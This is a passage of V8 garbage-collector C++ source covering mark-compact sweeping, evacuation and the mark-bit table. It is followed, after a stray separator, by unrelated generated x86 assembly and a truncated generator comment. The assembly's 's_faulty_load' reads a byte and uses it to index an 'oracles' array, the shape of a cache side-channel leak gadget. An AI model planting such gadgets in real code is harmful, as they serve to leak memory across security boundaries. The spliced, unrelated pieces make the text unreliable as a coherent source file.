int new_region_start = SkipList::RegionNumber(free_end);
int new_region_end =
SkipList::RegionNumber(free_end + size - kPointerSize);
if (new_region_start != curr_region || new_region_end != curr_region) {
skip_list->AddObject(free_end, size);
curr_region = new_region_end;
}
}
free_start = free_end + size;
}
// Clear marking bits for current cell.
*cell = 0;
}
if (free_start != p->area_end()) {
int size = static_cast<int>(p->area_end() - free_start);
if (free_space_mode == ZAP_FREE_SPACE) {
memset(free_start, 0xcc, size);
}
freed_bytes = Free<parallelism>(space, free_list, free_start, size);
max_freed_bytes = Max(freed_bytes, max_freed_bytes);
}
p->ResetLiveBytes();
if (parallelism == MarkCompactCollector::SWEEP_IN_PARALLEL) {
// When concurrent sweeping is active, the page will be marked after
// sweeping by the main thread.
p->parallel_sweeping_state().SetValue(MemoryChunk::kSweepingFinalize);
} else {
p->SetWasSwept();
}
return FreeList::GuaranteedAllocatable(static_cast<int>(max_freed_bytes));
}
void MarkCompactCollector::InvalidateCode(Code* code) {
if (heap_->incremental_marking()->IsCompacting() &&
!ShouldSkipEvacuationSlotRecording(code)) {
DCHECK(compacting_);
// If the object is white than no slots were recorded on it yet.
MarkBit mark_bit = Marking::MarkBitFrom(code);
if (Marking::IsWhite(mark_bit)) return;
// Ignore all slots that might have been recorded in the body of the
// deoptimized code object. Assumption: no slots will be recorded for
// this object after invalidating it.
RemoveObjectSlots(code->instruction_start(),
code->address() + code->Size());
}
}
// Return true if the given code is deoptimized or will be deoptimized.
bool MarkCompactCollector::WillBeDeoptimized(Code* code) {
return code->is_optimized_code() && code->marked_for_deoptimization();
}
void MarkCompactCollector::RemoveObjectSlots(Address start_slot,
Address end_slot) {
// Remove entries by replacing them with an old-space slot containing a smi
// that is located in an unmovable page.
int npages = evacuation_candidates_.length();
for (int i = 0; i < npages; i++) {
Page* p = evacuation_candidates_[i];
DCHECK(p->IsEvacuationCandidate() ||
p->IsFlagSet(Page::RESCAN_ON_EVACUATION));
if (p->IsEvacuationCandidate()) {
SlotsBuffer::RemoveObjectSlots(heap_, p->slots_buffer(), start_slot,
end_slot);
}
}
}
void MarkCompactCollector::VisitLiveObjects(Page* page,
ObjectVisitor* visitor) {
// First pass on aborted pages.
int offsets[16];
for (MarkBitCellIterator it(page); !it.Done(); it.Advance()) {
Address cell_base = it.CurrentCellBase();
MarkBit::CellType* cell = it.CurrentCell();
if (*cell == 0) continue;
int live_objects = MarkWordToObjectStarts(*cell, offsets);
for (int i = 0; i < live_objects; i++) {
Address object_addr = cell_base + offsets[i] * kPointerSize;
HeapObject* live_object = HeapObject::FromAddress(object_addr);
DCHECK(Marking::IsBlack(Marking::MarkBitFrom(live_object)));
Map* map = live_object->synchronized_map();
int size = live_object->SizeFromMap(map);
live_object->IterateBody(map->instance_type(), size, visitor);
}
}
}
void MarkCompactCollector::SweepAbortedPages() {
// Second pass on aborted pages.
for (int i = 0; i < evacuation_candidates_.length(); i++) {
Page* p = evacuation_candidates_[i];
if (p->IsFlagSet(Page::COMPACTION_WAS_ABORTED)) {
p->ClearFlag(MemoryChunk::COMPACTION_WAS_ABORTED);
PagedSpace* space = static_cast<PagedSpace*>(p->owner());
switch (space->identity()) {
case OLD_SPACE:
Sweep<SWEEP_ONLY, SWEEP_ON_MAIN_THREAD, IGNORE_SKIP_LIST,
IGNORE_FREE_SPACE>(space, nullptr, p, nullptr);
break;
case CODE_SPACE:
if (FLAG_zap_code_space) {
Sweep<SWEEP_ONLY, SWEEP_ON_MAIN_THREAD, REBUILD_SKIP_LIST,
ZAP_FREE_SPACE>(space, NULL, p, nullptr);
} else {
Sweep<SWEEP_ONLY, SWEEP_ON_MAIN_THREAD, REBUILD_SKIP_LIST,
IGNORE_FREE_SPACE>(space, NULL, p, nullptr);
}
break;
default:
UNREACHABLE();
break;
}
}
}
}
void MarkCompactCollector::EvacuateNewSpaceAndCandidates() {
Heap::RelocationLock relocation_lock(heap());
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_SWEEP_NEWSPACE);
EvacuationScope evacuation_scope(this);
EvacuateNewSpace();
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_EVACUATE_PAGES);
EvacuationScope evacuation_scope(this);
EvacuatePagesInParallel();
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_UPDATE_POINTERS_TO_EVACUATED);
UpdateSlotsRecordedIn(migration_slots_buffer_);
if (FLAG_trace_fragmentation_verbose) {
PrintF(" migration slots buffer: %d\n",
SlotsBuffer::SizeOfChain(migration_slots_buffer_));
}
slots_buffer_allocator_->DeallocateChain(&migration_slots_buffer_);
DCHECK(migration_slots_buffer_ == NULL);
// TODO(hpayer): Process the slots buffers in parallel. This has to be done
// after evacuation of all pages finishes.
int buffers = evacuation_slots_buffers_.length();
for (int i = 0; i < buffers; i++) {
SlotsBuffer* buffer = evacuation_slots_buffers_[i];
UpdateSlotsRecordedIn(buffer);
slots_buffer_allocator_->DeallocateChain(&buffer);
}
evacuation_slots_buffers_.Rewind(0);
}
// Second pass: find pointers to new space and update them.
PointersUpdatingVisitor updating_visitor(heap());
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_UPDATE_NEW_TO_NEW_POINTERS);
// Update pointers in to space.
SemiSpaceIterator to_it(heap()->new_space());
for (HeapObject* object = to_it.Next(); object != NULL;
object = to_it.Next()) {
Map* map = object->map();
object->IterateBody(map->instance_type(), object->SizeFromMap(map),
&updating_visitor);
}
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_UPDATE_ROOT_TO_NEW_POINTERS);
// Update roots.
heap_->IterateRoots(&updating_visitor, VISIT_ALL_IN_SWEEP_NEWSPACE);
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_UPDATE_OLD_TO_NEW_POINTERS);
StoreBufferRebuildScope scope(heap_, heap_->store_buffer(),
&Heap::ScavengeStoreBufferCallback);
heap_->store_buffer()->IteratePointersToNewSpace(&UpdatePointer);
}
int npages = evacuation_candidates_.length();
{
GCTracer::Scope gc_scope(
heap()->tracer(),
GCTracer::Scope::MC_UPDATE_POINTERS_BETWEEN_EVACUATED);
for (int i = 0; i < npages; i++) {
Page* p = evacuation_candidates_[i];
DCHECK(p->IsEvacuationCandidate() ||
p->IsFlagSet(Page::RESCAN_ON_EVACUATION));
if (p->IsEvacuationCandidate()) {
UpdateSlotsRecordedIn(p->slots_buffer());
if (FLAG_trace_fragmentation_verbose) {
PrintF(" page %p slots buffer: %d\n", reinterpret_cast<void*>(p),
SlotsBuffer::SizeOfChain(p->slots_buffer()));
}
slots_buffer_allocator_->DeallocateChain(p->slots_buffer_address());
// Important: skip list should be cleared only after roots were updated
// because root iteration traverses the stack and might have to find
// code objects from non-updated pc pointing into evacuation candidate.
SkipList* list = p->skip_list();
if (list != NULL) list->Clear();
// First pass on aborted pages, fixing up all live objects.
if (p->IsFlagSet(Page::COMPACTION_WAS_ABORTED)) {
// Clearing the evacuation candidate flag here has the effect of
// stopping recording of slots for it in the following pointer
// update phases.
p->ClearEvacuationCandidate();
VisitLiveObjects(p, &updating_visitor);
}
}
if (p->IsFlagSet(Page::RESCAN_ON_EVACUATION)) {
if (FLAG_gc_verbose) {
PrintF("Sweeping 0x%" V8PRIxPTR " during evacuation.\n",
reinterpret_cast<intptr_t>(p));
}
PagedSpace* space = static_cast<PagedSpace*>(p->owner());
p->ClearFlag(MemoryChunk::RESCAN_ON_EVACUATION);
switch (space->identity()) {
case OLD_SPACE:
Sweep<SWEEP_AND_VISIT_LIVE_OBJECTS, SWEEP_ON_MAIN_THREAD,
IGNORE_SKIP_LIST, IGNORE_FREE_SPACE>(space, NULL, p,
&updating_visitor);
break;
case CODE_SPACE:
if (FLAG_zap_code_space) {
Sweep<SWEEP_AND_VISIT_LIVE_OBJECTS, SWEEP_ON_MAIN_THREAD,
REBUILD_SKIP_LIST, ZAP_FREE_SPACE>(space, NULL, p,
&updating_visitor);
} else {
Sweep<SWEEP_AND_VISIT_LIVE_OBJECTS, SWEEP_ON_MAIN_THREAD,
REBUILD_SKIP_LIST, IGNORE_FREE_SPACE>(space, NULL, p,
&updating_visitor);
}
break;
default:
UNREACHABLE();
break;
}
}
}
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_UPDATE_MISC_POINTERS);
heap_->string_table()->Iterate(&updating_visitor);
// Update pointers from external string table.
heap_->UpdateReferencesInExternalStringTable(
&UpdateReferenceInExternalStringTableEntry);
EvacuationWeakObjectRetainer evacuation_object_retainer;
heap()->ProcessAllWeakReferences(&evacuation_object_retainer);
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_SWEEP_ABORTED);
// After updating all pointers, we can finally sweep the aborted pages,
// effectively overriding any forward pointers.
SweepAbortedPages();
}
heap_->isolate()->inner_pointer_to_code_cache()->Flush();
// The hashing of weak_object_to_code_table is no longer valid.
heap()->weak_object_to_code_table()->Rehash(
heap()->isolate()->factory()->undefined_value());
}
void MarkCompactCollector::MoveEvacuationCandidatesToEndOfPagesList() {
int npages = evacuation_candidates_.length();
for (int i = 0; i < npages; i++) {
Page* p = evacuation_candidates_[i];
if (!p->IsEvacuationCandidate()) continue;
p->Unlink();
PagedSpace* space = static_cast<PagedSpace*>(p->owner());
p->InsertAfter(space->LastPage());
}
}
void MarkCompactCollector::ReleaseEvacuationCandidates() {
int npages = evacuation_candidates_.length();
for (int i = 0; i < npages; i++) {
Page* p = evacuation_candidates_[i];
if (!p->IsEvacuationCandidate()) continue;
PagedSpace* space = static_cast<PagedSpace*>(p->owner());
space->Free(p->area_start(), p->area_size());
p->set_scan_on_scavenge(false);
p->ResetLiveBytes();
CHECK(p->WasSwept());
space->ReleasePage(p);
}
evacuation_candidates_.Rewind(0);
compacting_ = false;
heap()->FilterStoreBufferEntriesOnAboutToBeFreedPages();
heap()->FreeQueuedChunks();
}
static const int kStartTableEntriesPerLine = 5;
static const int kStartTableLines = 171;
static const int kStartTableInvalidLine = 127;
static const int kStartTableUnusedEntry = 126;
#define _ kStartTableUnusedEntry
#define X kStartTableInvalidLine
// Mark-bit to object start offset table.
//
// The line is indexed by the mark bits in a byte. The first number on
// the line describes the number of live object starts for the line and the
// other numbers on the line describe the offsets (in words) of the object
// starts.
//
// Since objects are at least 2 words large we don't have entries for two
// consecutive 1 bits. All entries after 170 have at least 2 consecutive bits.
char kStartTable[kStartTableLines * kStartTableEntriesPerLine] = {
0, _, _,
_, _, // 0
1, 0, _,
_, _, // 1
1, 1, _,
_, _, // 2
X, _, _,
_, _, // 3
1, 2, _,
_, _, // 4
2, 0, 2,
_, _, // 5
X, _, _,
_, _, // 6
X, _, _,
_, _, // 7
1, 3, _,
_, _, // 8
2, 0, 3,
_, _, // 9
2, 1, 3,
_, _, // 10
X, _, _,
_, _, // 11
X, _, _,
_, _, // 12
X, _, _,
_, _, // 13
X, _, _,
_, _, // 14
X, _, _,
_, _, // 15
1, 4, _,
_, _, // 16
2, 0, 4,
_, _, // 17
2, 1, 4,
_, _, // 18
X, _, _,
_, _, // 19
2, 2, 4,
_, _, // 20
3, 0, 2,
4, _, // 21
X, _, _,
_, _, // 22
X, _, _,
_, _, // 23
X, _, _,
_, _, // 24
X, _, _,
_, _, // 25
X, _, _,
_, _, // 26
X, _, _,
_, _, // 27
X, _, _,
_, _, // 28
X, _, _,
_, _, // 29
X, _, _,
_, _, // 30
X, _, _,
_, _, // 31
1, 5, _,
_, _, // 32
2, 0, 5,
_, _, // 33
2, 1, 5,
_, _, // 34
X, _, _,
_, _, // 35
2, 2, 5,
_, _, // 36
3, 0, 2,
5, _, // 37
X, _, _,
_, _, // 38
X, _, _,
_, _, // 39
2, 3, 5,
_, _, // 40
3, 0, 3,
5, _, // 41
3, 1, 3,
5, _, // 42
X, _, _,
_, _, // 43
X, _, _,
_, _, // 44
X, _, _,
_, _, // 45
X, _, _,
_, _, // 46
X, _, _,
_, _, // 47
X, _, _,
_, _, // 48
X, _, _,
_, _, // 49
X, _, _,
_, _, // 50
X, _, _,
_, _, // 51
X, _, _,
_, _, // 52
X, _, _,
_, _, // 53
X, _, _,
_, _, // 54
X, _, _,
_, _, // 55
X, _, _,
_, _, // 56
X, _, _,
_, _, // 57
X, _, _,
_, _, // 58
X, _, _,
_, _, // 59
X, _, _,
_, _, // 60
X, _, _,
_, _, // 61
X, _, _,
_, _, // 62
X, _, _,
_, _, // 63
1, 6, _,
_, _, // 64
2, 0, 6,
_, _, // 65
2, 1, 6,
_, _, // 66
X, _, _,
_, _, // 67
2, 2, 6,
_, _, // 68
3, 0, 2,
6, _, // 69
X, _, _,
_, _, // 70
X, _, _,
_, _, // 71
2, 3, 6,
_, _, // 72
3, 0, 3,
6, _, // 73
3, 1, 3,
6, _, // 74
X, _, _,
_, _, // 75
X, _, _,
_, _, // 76
X, _, _,
_, _, // 77
X, _, _,
_, _, // 78
X, _, _,
_, _, // 79
2, 4, 6,
_, _, // 80
3, 0, 4,
6, _, // 81
3, 1, 4,
6, _, // 82
X, _, _,
_, _, // 83
3, 2, 4,
6, _, // 84
4, 0, 2,
4, 6, // 85
X, _, _,
_, _, // 86
X, _, _,
_, _, // 87
X, _, _,
_, _, // 88
X, _, _,
_, _, // 89
X, _, _,
_, _, // 90
X, _, _,
_, _, // 91
X, _, _,
_, _, // 92
X, _, _,
_, _, // 93
X, _, _,
_, _, // 94
X, _, _,
_, _, // 95
X, _, _,
_, _, // 96
X, _, _,
_, _, // 97
X, _, _,
_, _, // 98
X, _, _,
_, _, // 99
X, _, _,
_, _, // 100
X, _, _,
_, _, // 101
X, _, _,
_, _, // 102
X, _, _,
_, _, // 103
X, _, _,
_, _, // 104
X, _, _,
_, _, // 105
X, _, _,
_, _, // 106
X, _, _,
_, _, // 107
X, _, _,
_, _, // 108
X, _, _,
_, _, // 109
X, _, _,
_, _, // 110
X, _, _,
_, _, // 111
X, _, _,
_, _, // 112
X, _, _,
_, _, // 113
X, _, _,
_, _, // 114
X, _, _,
_, _, // 115
X, _, _,
_, _, // 116
X, _, _,
_, _, // 117
X, _, _,
_, _, // 118
X, _, _,
_, _, // 119
X, _, _,
_, _, // 120
X, _, _,
_, _, // 121
X, _, _,
_, _, // 122
X, _, _,
_, _, // 123
X, _, _,
_, _, // 124
X, _, _,
_, _, // 125
X, _, _,
_, _, // 126
X, _, _,
_, _, // 127
1, 7, _,
_, _, // 128
2, 0, 7,
_, _, // 129
2, 1, 7,
_, _, // 130
X, _, _,
_, _, // 131
2, 2, 7,
_, _, // 132
3, 0, 2,
7, _, // 133
X, _, _,
_, _, // 134
X, _, _,
_, _, // 135
2, 3, 7,
_, _, // 136
3, 0, 3,
7, _, // 137
3, 1, 3,
7, _, // 138
X, _, _,
_, _, // 139
X, _, _,
_, _, // 140
X, _, _,
_, _, // 141
X, _, _,
_, _, // 142
X, _, _,
_, _, // 143
2, 4, 7,
_, _, // 144
3, 0, 4,
7, _, // 145
3, 1, 4,
7, _, // 146
X, _, _,
_, _, // 147
3, 2, 4,
7, _, // 148
4, 0, 2,
4, 7, // 149
X, _, _,
_, _, // 150
X, _, _,
_, _, // 151
X, _, _,
_, _, // 152
X, _, _,
_, _, // 153
X, _, _,
_, _, // 154
X, _, _,
_, _, // 155
X, _, _,
_, _, // 156
X, _, _,
_, _, // 157
X, _, _,
_, _, // 158
X, _, _,
_, _, // 159
2, 5, 7,
_, _, // 160
3, 0, 5,
7, _, // 161
3, 1, 5,
7, _, // 162
X, _, _,
_, _, // 163
3, 2, 5,
7, _, // 164
4, 0, 2,
5, 7, // 165
X, _, _,
_, _, // 166
X, _, _,
_, _, // 167
3, 3, 5,
7, _, // 168
4, 0, 3,
5, 7, // 169
4, 1, 3,
5, 7 // 170
};
#undef _
#undef X
// Takes a word of mark bits. Returns the number of objects that start in the
// range. Puts the offsets of the words in the supplied array.
static inline int MarkWordToObjectStarts(uint32_t mark_bits, int* starts) {
int objects = 0;
int offset = 0;
// No consecutive 1 bits.
DCHECK((mark_bits & 0x180) != 0x180);
DCHECK((mark_bits & 0x18000) != 0x18000);
DCHECK((mark_bits & 0x1800000) != 0x1800000);
while (mark_bits != 0) {
int byte = (mark_bits & 0xff);
mark_bits >>= 8;
if (byte != 0) {
DCHECK(byte < kStartTableLines); // No consecutive 1 bits.
char* table = kStartTable + byte * kStartTableEntriesPerLine;
int objects_in_these_8_words = table[0];
DCHECK(objects_in_these_8_words != kStartTableInvalidLine);
DCHECK(objects_in_these_8_words < kStartTableEntriesPerLine);
for (int i = 0; i < objects_in_these_8_words; i++) {
starts[objects++] = offset + table[1 + i];
}
}
offset += 8;
}
return objects;
}
int MarkCompactCollector::SweepInParallel(PagedSpace* space,
int required_freed_bytes) {
int max_freed = 0;
int max_freed_overall = 0;
PageIterator it(space);
while (it.has_next()) {
Page* p = it.next();
max_freed = SweepInParallel(p, space);
DCHECK(max_freed >= 0);
if (required_freed_bytes > 0 && max_freed >= required_freed_bytes) {
return max_freed;
}
max_freed_overall = Max(max_freed, max_freed_overall);
if (p == space->end_of_unswept_pages()) break;
}
return max_freed_overall;
}
int MarkCompactCollector::SweepInParallel(Page* page, PagedSpace* space) {
int max_freed = 0;
if (page->TryLock()) {
// If this page was already swept in the meantime, we can return here.
if (page->parallel_sweeping_state().Value() !=
MemoryChunk::kSweepingPending) {
page->mutex()->Unlock();
return 0;
}
page->parallel_sweeping_state().SetValue(MemoryChunk::kSweepingInProgress);
FreeList* free_list;
FreeList private_free_list(space);
if (space->identity() == OLD_SPACE) {
free_list = free_list_old_space_.get();
max_freed =
Sweep<SWEEP_ONLY, SWEEP_IN_PARALLEL, IGNORE_SKIP_LIST,
IGNORE_FREE_SPACE>(space, &private_free_list, page, NULL);
} else if (space->identity() == CODE_SPACE) {
free_list = free_list_code_space_.get();
max_freed =
Sweep<SWEEP_ONLY, SWEEP_IN_PARALLEL, REBUILD_SKIP_LIST,
IGNORE_FREE_SPACE>(space, &private_free_list, page, NULL);
} else {
free_list = free_list_map_space_.get();
max_freed =
Sweep<SWEEP_ONLY, SWEEP_IN_PARALLEL, IGNORE_SKIP_LIST,
IGNORE_FREE_SPACE>(space, &private_free_list, page, NULL);
}
free_list->Concatenate(&private_free_list);
page->mutex()->Unlock();
}
return max_freed;
}
void MarkCompactCollector::SweepSpace(PagedSpace* space, SweeperType sweeper) {
space->ClearStats();
// We defensively initialize end_of_unswept_pages_ here with the first page
// of the pages list.
space->set_end_of_unswept_pages(space->FirstPage());
PageIterator it(space);
int pages_swept = 0;
bool unused_page_present = false;
bool parallel_sweeping_active = false;
while (it.has_next()) {
Page* p = it.next();
DCHECK(p->parallel_sweeping_state().Value() == MemoryChunk::kSweepingDone);
// Clear sweeping flags indicating that marking bits are still intact.
p->ClearWasSwept();
if (p->IsFlagSet(Page::RESCAN_ON_EVACUATION) ||
p->IsEvacuationCandidate()) {
// Will be processed in EvacuateNewSpaceAndCandidates.
DCHECK(evacuation_candidates_.length() > 0);
continue;
}
// One unused page is kept, all further are released before sweeping them.
if (p->LiveBytes() == 0) {
if (unused_page_present) {
if (FLAG_gc_verbose) {
PrintF("Sweeping 0x%" V8PRIxPTR " released page.\n",
reinterpret_cast<intptr_t>(p));
}
space->ReleasePage(p);
continue;
}
unused_page_present = true;
}
switch (sweeper) {
case CONCURRENT_SWEEPING:
if (!parallel_sweeping_active) {
if (FLAG_gc_verbose) {
PrintF("Sweeping 0x%" V8PRIxPTR ".\n",
reinterpret_cast<intptr_t>(p));
}
if (space->identity() == CODE_SPACE) {
if (FLAG_zap_code_space) {
Sweep<SWEEP_ONLY, SWEEP_ON_MAIN_THREAD, REBUILD_SKIP_LIST,
ZAP_FREE_SPACE>(space, NULL, p, NULL);
} else {
Sweep<SWEEP_ONLY, SWEEP_ON_MAIN_THREAD, REBUILD_SKIP_LIST,
IGNORE_FREE_SPACE>(space, NULL, p, NULL);
}
} else {
Sweep<SWEEP_ONLY, SWEEP_ON_MAIN_THREAD, IGNORE_SKIP_LIST,
IGNORE_FREE_SPACE>(space, NULL, p, NULL);
}
pages_swept++;
parallel_sweeping_active = true;
} else {
if (FLAG_gc_verbose) {
PrintF("Sweeping 0x%" V8PRIxPTR " in parallel.\n",
reinterpret_cast<intptr_t>(p));
}
p->parallel_sweeping_state().SetValue(MemoryChunk::kSweepingPending);
int to_sweep = p->area_size() - p->LiveBytes();
space->accounting_stats_.ShrinkSpace(to_sweep);
}
space->set_end_of_unswept_pages(p);
break;
case SEQUENTIAL_SWEEPING: {
if (FLAG_gc_verbose) {
PrintF("Sweeping 0x%" V8PRIxPTR ".\n", reinterpret_cast<intptr_t>(p));
}
if (space->identity() == CODE_SPACE) {
if (FLAG_zap_code_space) {
Sweep<SWEEP_ONLY, SWEEP_ON_MAIN_THREAD, REBUILD_SKIP_LIST,
ZAP_FREE_SPACE>(space, NULL, p, NULL);
} else {
Sweep<SWEEP_ONLY, SWEEP_ON_MAIN_THREAD, REBUILD_SKIP_LIST,
IGNORE_FREE_SPACE>(space, NULL, p, NULL);
}
} else {
Sweep<SWEEP_ONLY, SWEEP_ON_MAIN_THREAD, IGNORE_SKIP_LIST,
IGNORE_FREE_SPACE>(space, NULL, p, NULL);
}
pages_swept++;
break;
}
default: { UNREACHABLE(); }
}
}
if (FLAG_gc_verbose) {
PrintF("SweepSpace: %s (%d pages swept)\n",
AllocationSpaceName(space->identity()), pages_swept);
}
}
void MarkCompactCollector::SweepSpaces() {
GCTracer::Scope gc_scope(heap()->tracer(), GCTracer::Scope::MC_SWEEP);
double start_time = 0.0;
if (FLAG_print_cumulative_gc_stat) {
start_time = base::OS::TimeCurrentMillis();
}
#ifdef DEBUG
state_ = SWEEP_SPACES;
#endif
MoveEvacuationCandidatesToEndOfPagesList();
{
{
GCTracer::Scope sweep_scope(heap()->tracer(),
GCTracer::Scope::MC_SWEEP_OLDSPACE);
SweepSpace(heap()->old_space(), CONCURRENT_SWEEPING);
}
{
GCTracer::Scope sweep_scope(heap()->tracer(),
GCTracer::Scope::MC_SWEEP_CODE);
SweepSpace(heap()->code_space(), CONCURRENT_SWEEPING);
}
{
GCTracer::Scope sweep_scope(heap()->tracer(),
GCTracer::Scope::MC_SWEEP_MAP);
SweepSpace(heap()->map_space(), CONCURRENT_SWEEPING);
}
sweeping_in_progress_ = true;
if (heap()->concurrent_sweeping_enabled()) {
StartSweeperThreads();
}
}
// Deallocate unmarked large objects.
heap_->lo_space()->FreeUnmarkedObjects();
// Give pages that are queued to be freed back to the OS. Invalid store
// buffer entries are already filter out. We can just release the memory.
heap()->FreeQueuedChunks();
EvacuateNewSpaceAndCandidates();
// EvacuateNewSpaceAndCandidates iterates over new space objects and for
// ArrayBuffers either re-registers them as live or promotes them. This is
// needed to properly free them.
heap()->array_buffer_tracker()->FreeDead(false);
// Clear the marking state of live large objects.
heap_->lo_space()->ClearMarkingStateOfLiveObjects();
// Deallocate evacuated candidate pages.
ReleaseEvacuationCandidates();
if (FLAG_print_cumulative_gc_stat) {
heap_->tracer()->AddSweepingTime(base::OS::TimeCurrentMillis() -
start_time);
}
#ifdef VERIFY_HEAP
if (FLAG_verify_heap && !sweeping_in_progress_) {
VerifyEvacuation(heap());
}
#endif
}
void MarkCompactCollector::ParallelSweepSpaceComplete(PagedSpace* space) {
PageIterator it(space);
while (it.has_next()) {
Page* p = it.next();
if (p->parallel_sweeping_state().Value() ==
MemoryChunk::kSweepingFinalize) {
p->parallel_sweeping_state().SetValue(MemoryChunk::kSweepingDone);
p->SetWasSwept();
}
DCHECK(p->parallel_sweeping_state().Value() == MemoryChunk::kSweepingDone);
}
}
void MarkCompactCollector::ParallelSweepSpacesComplete() {
ParallelSweepSpaceComplete(heap()->old_space());
ParallelSweepSpaceComplete(heap()->code_space());
ParallelSweepSpaceComplete(heap()->map_space());
}
void MarkCompactCollector::EnableCodeFlushing(bool enable) {
if (isolate()->debug()->is_active()) enable = false;
if (enable) {
if (code_flusher_ != NULL) return;
code_flusher_ = new CodeFlusher(isolate());
} else {
if (code_flusher_ == NULL) return;
code_flusher_->EvictAllCandidates();
delete code_flusher_;
code_flusher_ = NULL;
}
if (FLAG_trace_code_flushing) {
PrintF("[code-flushing is now %s]\n", enable ? "on" : "off");
}
}
// TODO(1466) ReportDeleteIfNeeded is not called currently.
// Our profiling tools do not expect intersections between
// code objects. We should either reenable it or change our tools.
void MarkCompactCollector::ReportDeleteIfNeeded(HeapObject* obj,
Isolate* isolate) {
if (obj->IsCode()) {
PROFILE(isolate, CodeDeleteEvent(obj->address()));
}
}
Isolate* MarkCompactCollector::isolate() const { return heap_->isolate(); }
void MarkCompactCollector::Initialize() {
MarkCompactMarkingVisitor::Initialize();
IncrementalMarking::Initialize();
}
void MarkCompactCollector::EvictPopularEvacuationCandidate(Page* page) {
if (FLAG_trace_fragmentation) {
PrintF("Page %p is too popular. Disabling evacuation.\n",
reinterpret_cast<void*>(page));
}
isolate()->CountUsage(v8::Isolate::UseCounterFeature::kSlotsBufferOverflow);
// TODO(gc) If all evacuation candidates are too popular we
// should stop slots recording entirely.
page->ClearEvacuationCandidate();
DCHECK(!page->IsFlagSet(Page::POPULAR_PAGE));
page->SetFlag(Page::POPULAR_PAGE);
// We were not collecting slots on this page that point
// to other evacuation candidates thus we have to
// rescan the page after evacuation to discover and update all
// pointers to evacuated objects.
page->SetFlag(Page::RESCAN_ON_EVACUATION);
}
void MarkCompactCollector::RecordCodeEntrySlot(HeapObject* object, Address slot,
Code* target) {
Page* target_page = Page::FromAddress(reinterpret_cast<Address>(target));
if (target_page->IsEvacuationCandidate() &&
!ShouldSkipEvacuationSlotRecording(object)) {
if (!SlotsBuffer::AddTo(slots_buffer_allocator_,
target_page->slots_buffer_address(),
SlotsBuffer::CODE_ENTRY_SLOT, slot,
SlotsBuffer::FAIL_ON_OVERFLOW)) {
EvictPopularEvacuationCandidate(target_page);
}
}
}
void MarkCompactCollector::RecordCodeTargetPatch(Address pc, Code* target) {
DCHECK(heap()->gc_state() == Heap::MARK_COMPACT);
if (is_compacting()) {
Code* host =
isolate()->inner_pointer_to_code_cache()->GcSafeFindCodeForInnerPointer(
pc);
MarkBit mark_bit = Marking::MarkBitFrom(host);
if (Marking::IsBlack(mark_bit)) {
RelocInfo rinfo(pc, RelocInfo::CODE_TARGET, 0, host);
RecordRelocSlot(&rinfo, target);
}
}
}
} // namespace internal
} // namespace v8
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1e940, %r11
and %r8, %r8
mov (%r11), %r10w
nop
nop
nop
nop
nop
xor %r13, %r13
lea addresses_normal_ht+0x175c0, %r11
nop
nop
nop
nop
and $37036, %r9
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
and $0xffffffffffffffc0, %r11
vmovntdq %ymm6, (%r11)
nop
nop
nop
nop
inc %r10
lea addresses_UC_ht+0xc840, %rsi
lea addresses_UC_ht+0xc140, %rdi
nop
nop
xor $52565, %r9
mov $80, %rcx
rep movsq
nop
sub %r9, %r9
lea addresses_WT_ht+0xf140, %rsi
lea addresses_D_ht+0x185f4, %rdi
nop
nop
nop
nop
nop
xor $52825, %r10
mov $21, %rcx
rep movsq
nop
nop
nop
nop
nop
add $33316, %r9
lea addresses_WC_ht+0x16140, %r9
nop
nop
nop
add %rsi, %rsi
movw $0x6162, (%r9)
add $48547, %rcx
lea addresses_A_ht+0x13000, %rsi
lea addresses_UC_ht+0x7360, %rdi
nop
nop
sub %r13, %r13
mov $21, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %r9
lea addresses_UC_ht+0x3970, %rsi
nop
nop
nop
nop
nop
dec %r8
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%rsi)
nop
nop
nop
nop
nop
and $33954, %r8
lea addresses_WT_ht+0x1140, %rcx
nop
nop
nop
nop
xor %rdi, %rdi
mov (%rcx), %esi
nop
nop
nop
nop
nop
sub $22093, %r9
lea addresses_D_ht+0x13e48, %rsi
lea addresses_UC_ht+0x82a8, %rdi
nop
nop
nop
nop
cmp $8164, %r8
mov $105, %rcx
rep movsb
nop
nop
nop
and $42709, %r11
lea addresses_D_ht+0xa1ec, %r9
nop
nop
sub %rcx, %rcx
movb $0x61, (%r9)
nop
nop
nop
nop
cmp %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %rax
push %rbx
push %rdi
// Faulty Load
lea addresses_normal+0xa140, %rax
nop
nop
nop
nop
cmp $26047, %r12
movb (%rax), %bl
lea oracles, %r12
and $0xff, %rbx
shlq $12, %rbx
mov (%r12,%rbx,1), %rbx
pop %rdi
pop %rbx
pop %rax
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}}
